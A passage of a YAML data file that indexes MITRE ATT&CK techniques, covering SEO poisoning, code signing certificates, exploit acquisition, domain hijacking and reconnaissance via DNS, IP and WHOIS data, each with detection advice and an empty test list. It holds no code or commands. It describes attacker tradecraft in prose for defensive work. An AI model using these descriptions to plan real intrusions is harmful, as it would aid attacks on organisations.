      id: attack-pattern--e5d550f3-2202-4634-85f2-4a200a1d49b3
      created: '2022-09-30T21:14:12.284Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1608/006
        external_id: T1608.006
      - source_name: MalwareBytes SEO
        description: 'Arntz, P. (2018, May 29). SEO poisoning: Is it worth it?. Retrieved
          September 30, 2022.'
        url: https://www.malwarebytes.com/blog/news/2018/05/seo-poisoning-is-it-worth-it
      - source_name: Atlas SEO
        description: Atlas Cybersecurity. (2021, April 19). Threat Actors use Search-Engine-Optimization
          Tactics to Redirect Traffic and Install Malware. Retrieved September 30,
          2022.
        url: https://atlas-cybersecurity.com/cyber-threats/threat-actors-use-search-engine-optimization-tactics-to-redirect-traffic-and-install-malware/
      - source_name: Sophos Gootloader
        description: Szappanos, G. & Brandt, A. (2021, March 1). “Gootloader” expands
          its payload delivery options. Retrieved September 30, 2022.
        url: https://news.sophos.com/en-us/2021/03/01/gootloader-expands-its-payload-delivery-options/
      - source_name: DFIR Report Gootloader
        description: The DFIR Report. (2022, May 9). SEO Poisoning – A Gootloader
          Story. Retrieved September 30, 2022.
        url: https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
      - source_name: ZScaler SEO
        description: Wang, J. (2018, October 17). Ubiquitous SEO Poisoning URLs. Retrieved
          September 30, 2022.
        url: https://www.zscaler.com/blogs/security-research/ubiquitous-seo-poisoning-urls-0
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1588.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--e7cbc1de-1f79-48ee-abfd-da1241c65a15
      type: attack-pattern
      created: '2020-10-01T02:11:47.237Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588.003
        url: https://attack.mitre.org/techniques/T1588/003
      - url: https://en.wikipedia.org/wiki/Code_signing
        description: Wikipedia. (2015, November 10). Code Signing. Retrieved March
          31, 2016.
        source_name: Wikipedia Code Signing
      modified: '2022-04-25T14:00:00.188Z'
      name: Code Signing Certificates
      description: |-
        Adversaries may buy and/or steal code signing certificates that can be used during targeting. Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Code signing provides a level of authenticity for a program from the developer and a guarantee that the program has not been tampered with.(Citation: Wikipedia Code Signing) Users and/or security tools may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is.

        Prior to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may purchase or steal code signing certificates for use in operations. The purchase of code signing certificates may be done using a front organization or using information stolen from a previously compromised entity that allows the adversary to validate to a certificate provider as that entity. Adversaries may also steal code signing materials directly from a compromised third-party.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider analyzing code signing certificates for features that may be associated with the adversary and/or their developers, such as the thumbprint, algorithm used, validity period, common name, and certificate authority. Malware repositories can also be used to identify additional samples associated with the adversary and identify patterns an adversary has used in procuring code signing certificates.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related follow-on behavior, such as [Code Signing](https://attack.mitre.org/techniques/T1553/002) or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Malware Repository: Malware Metadata'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1587:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf
      type: attack-pattern
      created: '2020-10-01T01:30:00.877Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1587
        url: https://attack.mitre.org/techniques/T1587
      - url: https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf
        description: Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage
          Units. Retrieved July 18, 2016.
        source_name: Mandiant APT1
      - source_name: Kaspersky Sofacy
        description: Kaspersky Lab's Global Research and Analysis Team. (2015, December
          4). Sofacy APT hits high profile targets with updated toolset. Retrieved
          December 10, 2015.
        url: https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/
      - source_name: Bitdefender StrongPity June 2020
        url: https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf
        description: Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing
          Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.
      - source_name: Talos Promethium June 2020
        url: https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html
        description: Mercer, W. et al. (2020, June 29). PROMETHIUM extends global
          reach with StrongPity3 APT. Retrieved July 20, 2020.
      - source_name: Splunk Kovar Certificates 2017
        url: https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html
        description: Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL
          Certificates. Retrieved October 16, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Develop Capabilities
      description: |-
        Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)

        As with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.

        Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Malware Repository: Malware Content'
      - 'Malware Repository: Malware Metadata'
      - 'Internet Scan: Response Content'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1588.005:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636
      type: attack-pattern
      created: '2020-10-01T02:17:46.086Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1588.005
        url: https://attack.mitre.org/techniques/T1588/005
      - source_name: Exploit Database
        url: https://www.exploit-db.com/
        description: Offensive Security. (n.d.). Exploit Database. Retrieved October
          15, 2020.
      - source_name: TempertonDarkHotel
        description: Temperton, J. (2015, August 10). Hacking Team zero-day used in
          new Darkhotel attacks. Retrieved March 9, 2017.
        url: https://www.wired.co.uk/article/darkhotel-hacking-team-cyber-espionage
      - source_name: NationsBuying
        description: Nicole Perlroth and David E. Sanger. (2013, July 12). Nations
          Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.
        url: https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html
      - url: https://citizenlab.ca/2016/08/million-dollar-dissident-iphone-zero-day-nso-group-uae/
        description: 'Bill Marczak and John Scott-Railton. (2016, August 24). The
          Million Dollar Dissident: NSO Group’s iPhone Zero-Days used against a UAE
          Human Rights Defender. Retrieved December 12, 2016.'
        source_name: PegasusCitizenLab
      - source_name: Wired SandCat Oct 2019
        url: https://www.vice.com/en/article/3kx5y3/uzbekistan-hacking-operations-uncovered-due-to-spectacularly-bad-opsec
        description: Zetter, K. (2019, October 3). Researchers Say They Uncovered
          Uzbekistan Hacking Operations Due to Spectacularly Bad OPSEC. Retrieved
          October 15, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Exploits
      description: |-
        Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.(Citation: Exploit Database)(Citation: TempertonDarkHotel)(Citation: NationsBuying)

        In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals.(Citation: PegasusCitizenLab)(Citation: Wired SandCat Oct 2019) In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).(Citation: TempertonDarkHotel)

        An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.

        Adversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |2-

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the use of exploits (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1584.001:
    technique:
      modified: '2023-10-31T14:00:00.188Z'
      name: Domains
      description: |-
        Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)

        Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)

        Adversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: resource-development
      x_mitre_detection: |-
        Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.

        Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.3'
      x_mitre_contributors:
      - Jeremy Galloway
      x_mitre_data_sources:
      - 'Domain Name: Passive DNS'
      - 'Domain Name: Domain Registration'
      - 'Domain Name: Active DNS'
      type: attack-pattern
      id: attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba
      created: '2020-10-01T00:51:28.513Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1584/001
        external_id: T1584.001
      - source_name: Krebs DNS Hijack 2019
        description: Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread
          DNS Hijacking Attacks. Retrieved February 14, 2022.
        url: https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/
      - source_name: ICANNDomainNameHijacking
        description: 'ICANN Security and Stability Advisory Committee. (2005, July
          12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved
          March 6, 2017.'
        url: https://www.icann.org/groups/ssac/documents/sac-007-en
      - source_name: Palo Alto Unit 42 Domain Shadowing 2022
        description: 'Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September
          21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime.
          Retrieved March 7, 2023.'
        url: https://unit42.paloaltonetworks.com/domain-shadowing/
      - source_name: Microsoft Sub Takeover 2020
        description: Microsoft. (2020, September 29). Prevent dangling DNS entries
          and avoid subdomain takeover. Retrieved October 12, 2020.
        url: https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
reconnaissance:
  T1592:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--09312b1a-c3c6-4b45-9844-3ccc78e5d82f
      type: attack-pattern
      created: '2020-10-02T16:39:33.966Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1592
        url: https://attack.mitre.org/techniques/T1592
      - source_name: ATT ScanBox
        url: https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
        description: 'Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework
          Used with Watering Hole Attacks. Retrieved October 19, 2020.'
      - source_name: ThreatConnect Infrastructure Dec 2020
        url: https://threatconnect.com/blog/infrastructure-research-hunting/
        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
      modified: '2022-04-25T14:00:00.188Z'
      name: Gather Victim Host Information
      description: |-
        Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)

        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Internet Scan: Response Content'
      x_mitre_is_subtechnique: false
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1596.003:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0979abf9-4e26-43ec-9b6e-54efc4e70fca
      type: attack-pattern
      created: '2020-10-02T16:58:58.738Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1596.003
        url: https://attack.mitre.org/techniques/T1596/003
      - source_name: SSLShopper Lookup
        url: https://www.sslshopper.com/ssl-checker.html
        description: SSL Shopper. (n.d.). SSL Checker. Retrieved October 20, 2020.
      - source_name: Medium SSL Cert
        url: https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2
        description: Jain, M. (2019, September 16). Export & Download — SSL Certificate
          from Server (Site URL). Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Digital Certificates
      description: |-
        Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location.

        Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates.(Citation: SSLShopper Lookup) Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content).(Citation: Medium SSL Cert) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1597.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0a241b6c-7bb2-48f9-98f7-128145b4d27f
      type: attack-pattern
      created: '2020-10-02T17:05:43.562Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1597.002
        url: https://attack.mitre.org/techniques/T1597/002
      - source_name: ZDNET Selling Data
        url: https://www.zdnet.com/article/a-hacker-group-is-selling-more-than-73-million-user-records-on-the-dark-web/
        description: Cimpanu, C. (2020, May 9). A hacker group is selling more than
          73 million user records on the dark web. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: Purchase Technical Data
      description: |-
        Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets.

        Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1590.005:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--0dda99f0-4701-48ca-9774-8504922e92d3
      type: attack-pattern
      created: '2020-10-02T15:59:11.695Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1590.005
        url: https://attack.mitre.org/techniques/T1590/005
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      - source_name: DNS Dumpster
        url: https://dnsdumpster.com/
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
      - source_name: Circl Passive DNS
        url: https://www.circl.lu/services/passive-dns/
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: IP Addresses
      description: |-
        Adversaries may gather the victim's IP addresses that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses. Information about assigned IP addresses may include a variety of details, such as which IP addresses are in use. IP addresses may also enable an adversary to derive other details about a victim, such as organizational size, physical location(s), Internet service provider, and or where/how their publicly-facing infrastructure is hosted.

        Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about assigned IP addresses may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1590.002:
    technique:
      modified: '2022-10-21T14:32:48.393Z'
      name: DNS
      description: |-
        Adversaries may gather information about the victim's DNS that can be used during targeting. DNS information may include a variety of details, including registered name servers as well as records that outline addressing for a target’s subdomains, mail servers, and other hosts. DNS, MX, TXT, and SPF records may also reveal the use of third party cloud and SaaS providers, such as Office 365, G Suite, Salesforce, or Zendesk.(Citation: Sean Metcalf Twitter DNS Records)

        Adversaries may gather this information in various ways, such as querying or otherwise collecting details via [DNS/Passive DNS](https://attack.mitre.org/techniques/T1596/001). DNS information may also be exposed to adversaries via online or other accessible data sets (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)).(Citation: DNS Dumpster)(Citation: Circl Passive DNS) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596), [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593), or [Active Scanning](https://attack.mitre.org/techniques/T1595)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: reconnaissance
      x_mitre_detection: |-
        Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.

        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.
      x_mitre_platforms:
      - PRE
      x_mitre_is_subtechnique: true
      x_mitre_deprecated: false
      x_mitre_domains:
      - enterprise-attack
      x_mitre_version: '1.1'
      x_mitre_contributors:
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      type: attack-pattern
      id: attack-pattern--0ff59227-8aa8-4c09-bf1f-925605bd07ea
      created: '2020-10-02T15:47:10.102Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1590/002
        external_id: T1590.002
      - source_name: Circl Passive DNS
        description: CIRCL Computer Incident Response Center. (n.d.). Passive DNS.
          Retrieved October 20, 2020.
        url: https://www.circl.lu/services/passive-dns/
      - source_name: DNS Dumpster
        description: Hacker Target. (n.d.). DNS Dumpster. Retrieved October 20, 2020.
        url: https://dnsdumpster.com/
      - source_name: Sean Metcalf Twitter DNS Records
        description: Sean Metcalf. (2019, May 9). Sean Metcalf Twitter. Retrieved
          May 27, 2022.
        url: https://twitter.com/PyroTek3/status/1126487227712921600/photo/1
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1596.002:
    technique:
      x_mitre_platforms:
      - PRE
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--166de1c6-2814-4fe5-8438-4e80f76b169f
      type: attack-pattern
      created: '2020-10-02T16:56:49.744Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1596.002
        url: https://attack.mitre.org/techniques/T1596/002
      - source_name: WHOIS
        url: https://www.whois.net/
        description: NTT America. (n.d.). Whois Lookup. Retrieved October 20, 2020.
      modified: '2022-04-25T14:00:00.188Z'
      name: WHOIS
      description: |-
        Adversaries may search public WHOIS data for information about victims that can be used during targeting. WHOIS data is stored by regional Internet registries (RIR) responsible for allocating and assigning Internet resources such as domain names. Anyone can query WHOIS servers for information about a registered domain, such as assigned IP blocks, contact information, and DNS nameservers.(Citation: WHOIS)

